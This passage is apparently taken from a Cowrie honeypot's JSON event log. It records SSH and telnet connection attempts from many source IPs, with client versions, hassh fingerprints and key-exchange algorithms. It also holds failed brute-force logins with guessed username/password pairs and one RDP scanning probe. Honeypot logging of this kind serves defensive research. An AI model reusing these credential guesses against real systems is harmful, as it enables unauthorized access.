client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:54.614712Z","src_ip":"213.209.159.56","session":"632ae319d187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yazmine","password":"yazmine","message":"login attempt [yazmine/yazmine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:55.020825Z","src_ip":"213.209.159.56","session":"632ae319d187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yazmine","password":"yazmine1","message":"login attempt [yazmine/yazmine1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:56.107772Z","src_ip":"213.209.159.56","session":"632ae319d187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yazmine","password":"yazmine123","message":"login attempt [yazmine/yazmine123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:57.196353Z","src_ip":"213.209.159.56","session":"632ae319d187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yazmine","password":"yazmine1234","message":"login attempt [yazmine/yazmine1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:58.282038Z","src_ip":"213.209.159.56","session":"632ae319d187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yazmine","password":"yazmine12345","message":"login attempt [yazmine/yazmine12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:59.367428Z","src_ip":"213.209.159.56","session":"632ae319d187","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:00.454047Z","src_ip":"213.209.159.56","session":"632ae319d187","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":34734,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b2e23b80a3d","protocol":"ssh","message":"New connection: 103.91.246.101:34734 (159.203.135.109:22) [session: 6b2e23b80a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:11.427193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:11.432671Z","src_ip":"103.91.246.101","session":"6b2e23b80a3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:11.659878Z","src_ip":"103.91.246.101","session":"6b2e23b80a3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jc123","message":"login attempt [root/jc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:12.593621Z","src_ip":"103.91.246.101","session":"6b2e23b80a3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:13.823971Z","src_ip":"103.91.246.101","session":"6b2e23b80a3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":44156,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fb5bc663b98","protocol":"ssh","message":"New connection: 69.6.234.27:44156 (159.203.135.109:22) [session: 9fb5bc663b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:37.778399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:37.783963Z","src_ip":"69.6.234.27","session":"9fb5bc663b98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:37.857853Z","src_ip":"69.6.234.27","session":"9fb5bc663b98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phoenix","password":"phoenix","message":"login attempt [phoenix/phoenix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:38.182416Z","src_ip":"69.6.234.27","session":"9fb5bc663b98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:39.258816Z","src_ip":"69.6.234.27","session":"9fb5bc663b98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":40068,"dst_ip":"10.17.0.5","dst_port":22,"session":"87123b24b156","protocol":"ssh","message":"New connection: 103.27.238.116:40068 (10.17.0.5:22) [session: 87123b24b156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:39.676731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:39.681156Z","src_ip":"103.27.238.116","session":"87123b24b156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:39.931104Z","src_ip":"103.27.238.116","session":"87123b24b156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1998","message":"login attempt [root/dima1998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:40.682017Z","src_ip":"103.27.238.116","session":"87123b24b156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:41.935924Z","src_ip":"103.27.238.116","session":"87123b24b156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":33958,"dst_ip":"159.203.135.109","dst_port":23,"session":"f94cafa762f4","protocol":"telnet","message":"New connection: 186.195.16.41:33958 (159.203.135.109:23) [session: f94cafa762f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:45.553857Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":57672,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3529ef4aee4","protocol":"ssh","message":"New connection: 103.82.132.16:57672 (10.17.0.5:22) [session: d3529ef4aee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:53.720933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:53.760699Z","src_ip":"103.82.132.16","session":"d3529ef4aee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:53.984424Z","src_ip":"103.82.132.16","session":"d3529ef4aee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"uvgx8f8232","message":"login attempt [root/uvgx8f8232] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:55.012971Z","src_ip":"103.82.132.16","session":"d3529ef4aee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":53156,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cef1de20bc8","protocol":"ssh","message":"New connection: 43.156.2.226:53156 (159.203.135.109:22) [session: 2cef1de20bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:55.725710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:55.730240Z","src_ip":"43.156.2.226","session":"2cef1de20bc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:55.975875Z","src_ip":"43.156.2.226","session":"2cef1de20bc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:56.276962Z","src_ip":"103.82.132.16","session":"d3529ef4aee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw23edc","message":"login attempt [root/1qazxsw23edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:56.988578Z","src_ip":"43.156.2.226","session":"2cef1de20bc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:09:58.237527Z","src_ip":"43.156.2.226","session":"2cef1de20bc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.247.32.186","src_port":35390,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2852411a8e7","protocol":"ssh","message":"New connection: 222.247.32.186:35390 (159.203.135.109:22) [session: e2852411a8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:06.119799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:07.607181Z","src_ip":"222.247.32.186","session":"e2852411a8e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:07.611322Z","src_ip":"222.247.32.186","session":"e2852411a8e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":21474,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1ed7025a0a4","protocol":"ssh","message":"New connection: 79.127.181.44:21474 (10.17.0.5:22) [session: c1ed7025a0a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:11.525887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:11.734719Z","src_ip":"79.127.181.44","session":"c1ed7025a0a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:11.938073Z","src_ip":"79.127.181.44","session":"c1ed7025a0a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:11.944497Z","src_ip":"79.127.181.44","session":"c1ed7025a0a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65192,"dst_ip":"10.17.0.5","dst_port":22,"session":"cea94007ec43","protocol":"ssh","message":"New connection: 152.42.212.128:65192 (10.17.0.5:22) [session: cea94007ec43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:19.607714Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:19.612685Z","src_ip":"152.42.212.128","session":"cea94007ec43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:19.616603Z","src_ip":"152.42.212.128","session":"cea94007ec43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":57284,"dst_ip":"159.203.135.109","dst_port":22,"session":"0914796013e2","protocol":"ssh","message":"New connection: 170.106.188.200:57284 (159.203.135.109:22) [session: 0914796013e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:28.300350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:28.305206Z","src_ip":"170.106.188.200","session":"0914796013e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:28.372843Z","src_ip":"170.106.188.200","session":"0914796013e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toaster123","message":"login attempt [root/toaster123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:28.678487Z","src_ip":"170.106.188.200","session":"0914796013e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:29.750062Z","src_ip":"170.106.188.200","session":"0914796013e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.35013818740845,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:10:29.903885Z","src_ip":"186.195.16.41","session":"f94cafa762f4","protocol":"telnet"}
